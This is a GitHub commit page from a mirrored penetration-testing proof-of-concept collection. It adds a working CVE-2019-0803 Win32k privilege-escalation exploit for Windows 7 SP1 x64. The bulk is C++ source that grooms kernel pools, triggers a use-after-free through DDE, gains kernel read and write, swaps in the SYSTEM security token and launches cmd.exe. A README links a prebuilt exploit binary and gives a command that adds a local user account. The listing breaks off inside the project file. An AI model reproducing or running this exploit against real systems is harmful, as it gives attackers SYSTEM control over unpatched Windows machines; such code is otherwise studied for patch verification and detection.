mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
add CVE-2019-0803 Win32k漏洞提权工具
This commit is contained in:
mr-xn
parent
4bc656b7c2
commit
19fb733656
@ -0,0 +1,12 @@
|
||||
## CVE-2019-0803-Win32k Elevation of Privilege Poc
|
||||
|
||||
CVE-2019-0803.exe Win32k漏洞提权工具 没有编译的
|
||||
|
||||
|
||||
|
||||
另外一个是K8写的成品EXE，提示:自行斟酌使用任何提权EXE：
|
||||
|
||||
`https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe`
|
||||
|
||||
使用方法：`CVE-2019-0803.exe cmd "net user test test@321# /add"`
|
||||
|
||||
BIN
CVE-2019-0803/CVE-2019-0803.png
Normal file
BIN
CVE-2019-0803/CVE-2019-0803.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
12
CVE-2019-0803/CVE-2019-0803/README.md
Normal file
12
CVE-2019-0803/CVE-2019-0803/README.md
Normal file
@ -0,0 +1,12 @@
|
||||
# CVE-2019-0803
|
||||
Win32k Elevation of Privilege Poc
|
||||
|
||||
|
||||
Screenshot
|
||||
---------------
|
||||
|
||||
|
||||
|
||||
Reference
|
||||
-----------------------------
|
||||
(steal Security token) https://github.com/mwrlabs/CVE-2016-7255
|
||||
31
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln
Normal file
31
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln
Normal file
@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.27428.2005
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "poc_test", "poc_test\poc_test.vcxproj", "{13B512BD-3E32-4787-9C1C-0966899F3608}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x64.Build.0 = Debug|x64
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x86.Build.0 = Debug|Win32
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x64.ActiveCfg = Release|x64
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x64.Build.0 = Release|x64
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x86.ActiveCfg = Release|Win32
|
||||
{13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {FC1892D3-67AE-4D7F-99F6-684EA05DA216}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp
Normal file
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp
Normal file
Binary file not shown.
570
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp
Normal file
570
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp
Normal file
@ -0,0 +1,570 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
PSHAREDINFO gSharedInfo = NULL;
|
||||
|
||||
HWND hwndIcon1 = NULL;
|
||||
HWND hwndIcon2 = NULL;
|
||||
PBYTE pwndIcon1 = NULL;
|
||||
PBYTE pwndIcon2 = NULL;
|
||||
|
||||
HWND hwndMenu = NULL;
|
||||
|
||||
unsigned long long MySecTokenAddr = NULL;
|
||||
unsigned long long MyEPROCESSAddr = NULL;
|
||||
|
||||
HDC hdc = NULL;
|
||||
HGDIOBJ hgdiObj = NULL;
|
||||
PBYTE pgdiObj = NULL;
|
||||
|
||||
HBITMAP hBitmap[1000] = { NULL };
|
||||
|
||||
static PBYTE buffFakePal = NULL;
|
||||
static LPACCEL buffAccTabl = NULL;
|
||||
|
||||
unsigned long long SystemSecurityTokenAddr = NULL;
|
||||
|
||||
static BOOL xxInitExploitInfo(VOID)
|
||||
{
|
||||
gSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32"), "gSharedInfo");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL xxZeroIconWindow2strName(VOID)
|
||||
{
|
||||
DWORD offset = (DWORD)((pwndIcon2 + OFFSET_STRNAME_WIN7) - (pwndIcon1 + LENGTH_TAGWND));
|
||||
|
||||
DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0);
|
||||
DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4);
|
||||
DWORD dwori3 = GetWindowLong(hwndIcon1, offset + 0x8);
|
||||
DWORD dwori4 = GetWindowLong(hwndIcon1, offset + 0xC);
|
||||
|
||||
SetWindowLongW(hwndIcon1, offset + 0x0, 0);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x4, 0);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x8, 0);
|
||||
SetWindowLongW(hwndIcon1, offset + 0xC, 0);
|
||||
|
||||
WCHAR szPath[100] = {};
|
||||
GetWindowText(hwndIcon2, szPath, 100);
|
||||
printf("[*]text:%ws\n", szPath);
|
||||
|
||||
if (wcslen(szPath) == 0)
|
||||
{
|
||||
SetWindowLongW(hwndIcon1, offset + 0x0, dwori1);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x4, dwori2);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x8, dwori3);
|
||||
SetWindowLongW(hwndIcon1, offset + 0xC, dwori4);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
typedef struct _LARGE_UNICODE_STRING
|
||||
{
|
||||
ULONG Length; // 000
|
||||
ULONG MaximumLength : 31; // 004
|
||||
ULONG bAnsi : 1; // 004
|
||||
PWSTR Buffer; // 008
|
||||
} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;
|
||||
|
||||
static BOOL WriteKernelAddress(UINT64 qwAddress, LPWSTR content)
|
||||
{
|
||||
DWORD offset = (DWORD)((pwndIcon2 + OFFSET_STRNAME_WIN7) - (pwndIcon1 + LENGTH_TAGWND));
|
||||
|
||||
//注:这里不要把LARGE_UNICODE_STRING的长度字段设置成0了
|
||||
//DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0);
|
||||
//DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4);
|
||||
DWORD dwori3 = GetWindowLong(hwndIcon1, offset + 0x8);
|
||||
DWORD dwori4 = GetWindowLong(hwndIcon1, offset + 0xC);
|
||||
|
||||
//SetWindowLongW(hwndIcon1, offset + 0x0, 0);
|
||||
//SetWindowLongW(hwndIcon1, offset + 0x4, 0);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x8, (qwAddress & 0xffffffff));
|
||||
SetWindowLongW(hwndIcon1, offset + 0xC, (qwAddress & 0xffffffff00000000) >> 32);
|
||||
|
||||
SetWindowText(hwndIcon2, content);
|
||||
|
||||
//SetWindowLongW(hwndIcon1, offset + 0x0, dwori1);
|
||||
//SetWindowLongW(hwndIcon1, offset + 0x4, dwori2);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x8, dwori3);
|
||||
SetWindowLongW(hwndIcon1, offset + 0xC, dwori4);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static int ReadKernelAddress(UINT64 qwAddress)
|
||||
{
|
||||
DWORD offset = (DWORD)((pwndIcon2 + OFFSET_SPWNDPARENT_WIN7) - (pwndIcon1 + LENGTH_TAGWND));
|
||||
|
||||
DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0);
|
||||
DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4);
|
||||
|
||||
SetWindowLongW(hwndIcon1, offset + 0x0, (qwAddress & 0xffffffff));
|
||||
SetWindowLongW(hwndIcon1, offset + 0x4, (qwAddress & 0xffffffff00000000) >> 32);
|
||||
|
||||
unsigned int read = (int)GetAncestor(hwndIcon2, GA_PARENT);
|
||||
|
||||
SetWindowLongW(hwndIcon1, offset + 0x0, dwori1);
|
||||
SetWindowLongW(hwndIcon1, offset + 0x4, dwori2);
|
||||
|
||||
return read;
|
||||
}
|
||||
|
||||
unsigned long long ReadPtrFromKernelMemory(unsigned long long addr) {
|
||||
unsigned int LowAddr = ReadKernelAddress(addr);
|
||||
unsigned int HighAddr = ReadKernelAddress(addr + 4);
|
||||
unsigned long long Addr = ((unsigned long long)HighAddr << 32) + LowAddr;
|
||||
return Addr;
|
||||
}
|
||||
|
||||
typedef struct _HEAD
|
||||
{
|
||||
HANDLE h;
|
||||
DWORD cLockObj;
|
||||
} HEAD, * PHEAD;
|
||||
|
||||
typedef struct _THROBJHEAD
|
||||
{
|
||||
HEAD h;
|
||||
PVOID pti;
|
||||
} THROBJHEAD, * PTHROBJHEAD;
|
||||
|
||||
|
||||
typedef struct _THRDESKHEAD
|
||||
{
|
||||
THROBJHEAD h;
|
||||
PVOID rpdesk;
|
||||
PVOID pSelf; // points to the kernel mode address
|
||||
} THRDESKHEAD, * PTHRDESKHEAD;
|
||||
|
||||
|
||||
void FindSecurityTokens() {
|
||||
unsigned long long pti = (unsigned long long)(&((THRDESKHEAD*)pwndIcon1)->h.pti);
|
||||
printf("[*]Searching for current processes EPROCESS structure\n");
|
||||
|
||||
unsigned long long ptiaddress = ReadPtrFromKernelMemory(pti);
|
||||
printf("\tptiaddress == %llx\n", ptiaddress);
|
||||
|
||||
unsigned long long threadTagPointer = ReadPtrFromKernelMemory(ptiaddress);
|
||||
printf("\ttagTHREAD == %llx\n", threadTagPointer);
|
||||
|
||||
unsigned long long kapcStateAddr = ReadPtrFromKernelMemory(threadTagPointer + OFFSET_APCADDR_WIN7);
|
||||
printf("\tkapc_stateAddr == %llx\n", kapcStateAddr);
|
||||
|
||||
MyEPROCESSAddr = ReadPtrFromKernelMemory(kapcStateAddr + OFFSET_APCEPROCESS_WIN7);
|
||||
|
||||
MySecTokenAddr = ReadPtrFromKernelMemory(MyEPROCESSAddr + OFFSET_SECTOKEN_WIN7);
|
||||
printf("\tOriginal security token pointer: 0x%llx\n", MySecTokenAddr);
|
||||
|
||||
printf("[*]Searching for SYSTEM security token address\n");
|
||||
|
||||
unsigned long long nextProc = ReadPtrFromKernelMemory(MyEPROCESSAddr + OFFSET_EPROCESSBLINK_WIN7) - OFFSET_EPROCESSBLINK_WIN7;
|
||||
printf("\tNext eprocess address: 0x%llx\n", nextProc);
|
||||
|
||||
unsigned int pid = ReadKernelAddress(nextProc + OFFSET_EPROCESSPID_WIN7);
|
||||
printf("\tFound pid: 0x%X\n", pid);
|
||||
|
||||
while (true) {
|
||||
nextProc = ReadPtrFromKernelMemory(nextProc + OFFSET_EPROCESSBLINK_WIN7) - OFFSET_EPROCESSBLINK_WIN7;
|
||||
printf("\tNext eprocess address: 0x%llx\n", nextProc);
|
||||
|
||||
pid = ReadKernelAddress(nextProc + OFFSET_EPROCESSPID_WIN7);
|
||||
printf("\tFound pid: 0x%X\n", pid);
|
||||
//Step 9.2
|
||||
if (pid == 4) {
|
||||
printf("\ttarget process found!\n");
|
||||
SystemSecurityTokenAddr = ReadPtrFromKernelMemory(nextProc + OFFSET_SECTOKEN_WIN7);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static BOOL xxCreateIconWindowEx(VOID)
|
||||
{
|
||||
// icon
|
||||
HWND hwnd1 = CreateWindowExW(0,
|
||||
L"#32772",
|
||||
NULL,
|
||||
WS_MINIMIZE | WS_DISABLED,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
// icon
|
||||
HWND hwnd2 = CreateWindowExW(0,
|
||||
L"#32772",
|
||||
NULL,
|
||||
WS_MINIMIZE | WS_DISABLED,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
PSERVERINFO psi = gSharedInfo->psi;
|
||||
PHANDLEENTRY phe = gSharedInfo->aheList;
|
||||
|
||||
PBYTE pwnd1 = NULL;
|
||||
PBYTE pwnd2 = NULL;
|
||||
|
||||
for (ULONG c = 0; c < psi->cHandleEntries; c++)
|
||||
{
|
||||
if ((HWND)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hwnd1)
|
||||
{
|
||||
pwnd1 = (PBYTE)phe[c].phead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
for (ULONG c = 0; c < psi->cHandleEntries; c++)
|
||||
{
|
||||
if ((HWND)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hwnd2)
|
||||
{
|
||||
pwnd2 = (PBYTE)phe[c].phead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (pwnd1 <= pwnd2)
|
||||
{
|
||||
pwndIcon1 = pwnd1;
|
||||
hwndIcon1 = hwnd1;
|
||||
pwndIcon2 = pwnd2;
|
||||
hwndIcon2 = hwnd2;
|
||||
}
|
||||
else
|
||||
{
|
||||
pwndIcon1 = pwnd2;
|
||||
hwndIcon1 = hwnd2;
|
||||
pwndIcon2 = pwnd1;
|
||||
hwndIcon2 = hwnd1;
|
||||
}
|
||||
printf("[+]WND1: %p, WND2: %p\n", pwndIcon1, pwndIcon2);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL xxTriggerExploitEx(VOID)
|
||||
{
|
||||
DWORD count = 0;
|
||||
|
||||
HACCEL hAccel1[1000] = { NULL };
|
||||
HACCEL hAccel2[1000] = { NULL };
|
||||
|
||||
for (UINT i = 0; i < 200; i++)
|
||||
{
|
||||
//用来塞内存空隙，确保0x350大小的内存碎片间隙刚好被填满，避免后续Bitmap和DIB占坑出现问题
|
||||
LPACCEL Entries = (LPACCEL)malloc(132 * sizeof(Entries));
|
||||
for (UINT i = 0; i < 132; i++)
|
||||
{
|
||||
Entries[i].fVirt = FCONTROL;
|
||||
Entries[i].key = 0x1234;
|
||||
Entries[i].cmd = 0x4444;
|
||||
}
|
||||
hAccel1[i] = NtUserCreateAcceleratorTable(Entries, 132);
|
||||
if (hAccel1[i] == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//用来占坑
|
||||
for (UINT i = 0; i < 1000; i++)
|
||||
{
|
||||
LPACCEL Entries = (LPACCEL)malloc(533 * sizeof(Entries));
|
||||
for (UINT i = 0; i < 533; i++)
|
||||
{
|
||||
Entries[i].fVirt = FCONTROL;
|
||||
Entries[i].key = 0x1234;
|
||||
Entries[i].cmd = 0x4444;
|
||||
}
|
||||
hAccel2[i] = NtUserCreateAcceleratorTable(Entries, 533);
|
||||
}
|
||||
for (UINT i = 0; i < 400; i++)
|
||||
{
|
||||
hBitmap[i] = CreateBitmap(16, 16, 1, 8, NULL);
|
||||
if (hBitmap[i] == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
hwndMenu = CreateWindowExW(WS_EX_DLGMODALFRAME | WS_EX_LEFTSCROLLBAR | WS_EX_NOINHERITLAYOUT | WS_EX_LAYOUTRTL | WS_EX_COMPOSITED,
|
||||
L"#32768",
|
||||
L"bar",
|
||||
0x43A | WS_MAXIMIZEBOX | WS_VSCROLL | WS_CAPTION | WS_MAXIMIZE,
|
||||
58,
|
||||
18,
|
||||
60,
|
||||
-23,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
NtUserShowWindow(hwndMenu, 0);
|
||||
UpdateWindow(hwndMenu);
|
||||
|
||||
PAINTSTRUCT paint = { 0 };
|
||||
hdc = NtUserBeginPaint(hwndMenu, &paint);
|
||||
hgdiObj = GetCurrentObject(hdc, OBJ_BITMAP);
|
||||
|
||||
pgdiObj = *(PBYTE *)((*(PBYTE *)((*(PBYTE *)(__readgsqword(0x30) + 0x60)) + 0xF8)) + sizeof(HANDLEENTRY) * (WORD)(DWORD_PTR)hgdiObj);
|
||||
|
||||
for (UINT i = 400; i < 800; i++)
|
||||
{
|
||||
hBitmap[i] = CreateBitmap(16, 16, 1, 8, NULL);
|
||||
if (hBitmap[i] == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (UINT i = 0; i < 1000; i++)
|
||||
{
|
||||
PBYTE pacc = NULL;
|
||||
HACCEL hacc = hAccel2[i];
|
||||
PHANDLEENTRY phe = gSharedInfo->aheList;
|
||||
for (UINT c = 0; c < gSharedInfo->psi->cHandleEntries; c++)
|
||||
{
|
||||
if ((HACCEL)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hacc)
|
||||
{
|
||||
pacc = (PBYTE)phe[c].phead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (pgdiObj == pacc + 0xCB0)
|
||||
{
|
||||
Sleep(1000);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static VOID xxBuildGlobalAccTableEx(PVOID pcbWndExtra)
|
||||
{
|
||||
DWORD num = 0;
|
||||
if (buffFakePal == NULL)
|
||||
{
|
||||
buffFakePal = (PBYTE)malloc(0x98); // PALETTE
|
||||
ZeroMemory(buffFakePal, 0x98);
|
||||
*(PVOID *)(buffFakePal + 0x80) = pcbWndExtra; //DBI对象中tagRGBQUAD地址修改为第一个窗口WndExtra的地址
|
||||
*(DWORD *)(buffFakePal + 0x1C) = 1; // PALETTE->cEntries
|
||||
*(PVOID *)(buffFakePal + 0x88) = #
|
||||
}
|
||||
if (buffAccTabl == NULL)
|
||||
{
|
||||
buffAccTabl = (LPACCEL)malloc(sizeof(ACCEL) * 132);
|
||||
ZeroMemory(buffAccTabl, sizeof(ACCEL) * 132);
|
||||
}
|
||||
|
||||
for (UINT i = 0; i < 132; i++)
|
||||
{
|
||||
buffAccTabl[i].fVirt = FCONTROL;
|
||||
buffAccTabl[i].key = 0x1234;
|
||||
buffAccTabl[i].cmd = 0x4444;
|
||||
}
|
||||
buffAccTabl[11].key = 2;
|
||||
buffAccTabl[11].cmd = 0;
|
||||
buffAccTabl[12].fVirt = 0;
|
||||
buffAccTabl[12].key = 0;
|
||||
|
||||
*(WORD *)&buffAccTabl[15].key = (WORD)((DWORD_PTR)buffFakePal);
|
||||
*(WORD *)&buffAccTabl[15].cmd = (WORD)((DWORD_PTR)buffFakePal >> 16);
|
||||
*(WORD *)&buffAccTabl[16].fVirt = (WORD)((DWORD_PTR)buffFakePal >> 32);
|
||||
*(WORD *)&buffAccTabl[16].key = (WORD)((DWORD_PTR)buffFakePal >> 48);
|
||||
}
|
||||
|
||||
INT PocMain2()
|
||||
{
|
||||
WCHAR szExePath[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameW(NULL, szExePath, MAX_PATH);
|
||||
|
||||
std::cout << "-------------------" << std::endl;
|
||||
std::cout << "POC - CVE-2019-0803" << std::endl;
|
||||
std::cout << "-------------------" << std::endl;
|
||||
|
||||
DWORD times = 0;
|
||||
|
||||
xxInitExploitInfo();
|
||||
xxCreateIconWindowEx();
|
||||
|
||||
SetWindowText(hwndIcon2, L"abc");
|
||||
|
||||
BOOL bReturn = FALSE;
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
si = { 0 };
|
||||
pi = { 0 };
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
bReturn = CreateProcessW(szExePath,
|
||||
(LPWSTR)L" DDEServer",
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi);
|
||||
if (!bReturn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
printf("[+]trying %d times \r\n", times);
|
||||
if (xxTriggerExploitEx())
|
||||
{
|
||||
printf("[!]xxTriggerExploitEx Success \r\n");
|
||||
break;
|
||||
}
|
||||
NtUserDestroyWindow(hwndMenu);
|
||||
} while (++times < 10);
|
||||
|
||||
HWND hwndSrever = NULL;
|
||||
do
|
||||
{
|
||||
hwndSrever = FindWindowW(NULL, L"DDEServerPoc");
|
||||
} while (hwndSrever == NULL && (Sleep(300), TRUE));
|
||||
|
||||
//将之前获取到的GDI句柄传给DDEServer，用于之后句柄替换触发漏洞
|
||||
SendMessageW(hwndSrever, MSG_DDESERVER_SET_GDI_OBJ_ADDR, (WPARAM)hgdiObj, NULL);
|
||||
|
||||
//getchar();
|
||||
si = { 0 };
|
||||
pi = { 0 };
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
bReturn = CreateProcessW(szExePath,
|
||||
(LPWSTR)L" DDEClient",
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi);
|
||||
if (!bReturn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
HWND hwnd = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
hwnd = FindWindowW(NULL, L"DDEClientPoc");
|
||||
} while (hwnd == NULL && (Sleep(300), TRUE));
|
||||
|
||||
printf("[+]hTriggerWindow %p\n", hwnd);
|
||||
|
||||
for (UINT i = 0; i < 300; i++)
|
||||
{
|
||||
if (hBitmap[i] != NULL)
|
||||
{
|
||||
DeleteObject(hBitmap[i]);
|
||||
hBitmap[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
xxBuildGlobalAccTableEx(pwndIcon1 + OFFSET_CBWNDEXTRA_WIN7);
|
||||
|
||||
SendMessageW(hwnd, MSG_DDESERVER_EXIT, NULL, NULL);
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
|
||||
for (UINT i = 300; i < 700; i++)
|
||||
{
|
||||
if (hBitmap[i] != NULL)
|
||||
{
|
||||
DeleteObject(hBitmap[i]);
|
||||
hBitmap[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[+]Wait\n");
|
||||
|
||||
Sleep(8000);
|
||||
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
|
||||
|
||||
HACCEL hAcc[2000] = { NULL };
|
||||
for (UINT i = 0; i < 2000; i++)
|
||||
{
|
||||
hAcc[i] = NtUserCreateAcceleratorTable(buffAccTabl, 132); // UAF
|
||||
if (hAcc[i] == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
RGBQUAD number = {};
|
||||
number.rgbBlue = 0x78;
|
||||
number.rgbGreen = 0x56;
|
||||
number.rgbRed = 0x34;
|
||||
|
||||
if (SetDIBColorTable(hdc, 0, 1, (const RGBQUAD *)&number))
|
||||
{
|
||||
printf("[+]SetDIBColorTable OK\n");
|
||||
}
|
||||
|
||||
if (xxZeroIconWindow2strName())
|
||||
{
|
||||
printf("[+]hTriggerWindow OK\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[!]hTriggerWindow Failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
FindSecurityTokens();
|
||||
wchar_t strSysSecToken[5] = { 0x00 };
|
||||
strSysSecToken[3] = (SystemSecurityTokenAddr >> 48) & 0xFFFF;
|
||||
strSysSecToken[2] = (SystemSecurityTokenAddr >> 32) & 0xFFFF;
|
||||
strSysSecToken[1] = (SystemSecurityTokenAddr >> 16) & 0xFFFF;
|
||||
strSysSecToken[0] = (SystemSecurityTokenAddr >> 0) & 0xFFFF;
|
||||
printf("[+]Security token to steal: 0x%llx\n", SystemSecurityTokenAddr);
|
||||
|
||||
WriteKernelAddress(MyEPROCESSAddr + OFFSET_SECTOKEN_WIN7, strSysSecToken);
|
||||
|
||||
printf("Run Cmd...\n");
|
||||
system("cmd.exe");
|
||||
|
||||
return 0;
|
||||
}
|
||||
INT DDEServer();
|
||||
INT DDEClient();
|
||||
INT main(int argc, char *argv[])
|
||||
{
|
||||
if (argc == 1)
|
||||
{
|
||||
PocMain2();
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (argc != 2)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (strcmp(argv[1], "DDEServer") == 0)
|
||||
{
|
||||
DDEServer();
|
||||
}
|
||||
else if (strcmp(argv[1], "DDEClient") == 0)
|
||||
{
|
||||
DDEClient();
|
||||
}
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
176
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj
Normal file
176
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj
Normal file
@ -0,0 +1,176 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{13B512BD-3E32-4787-9C1C-0966899F3608}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>poctest</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
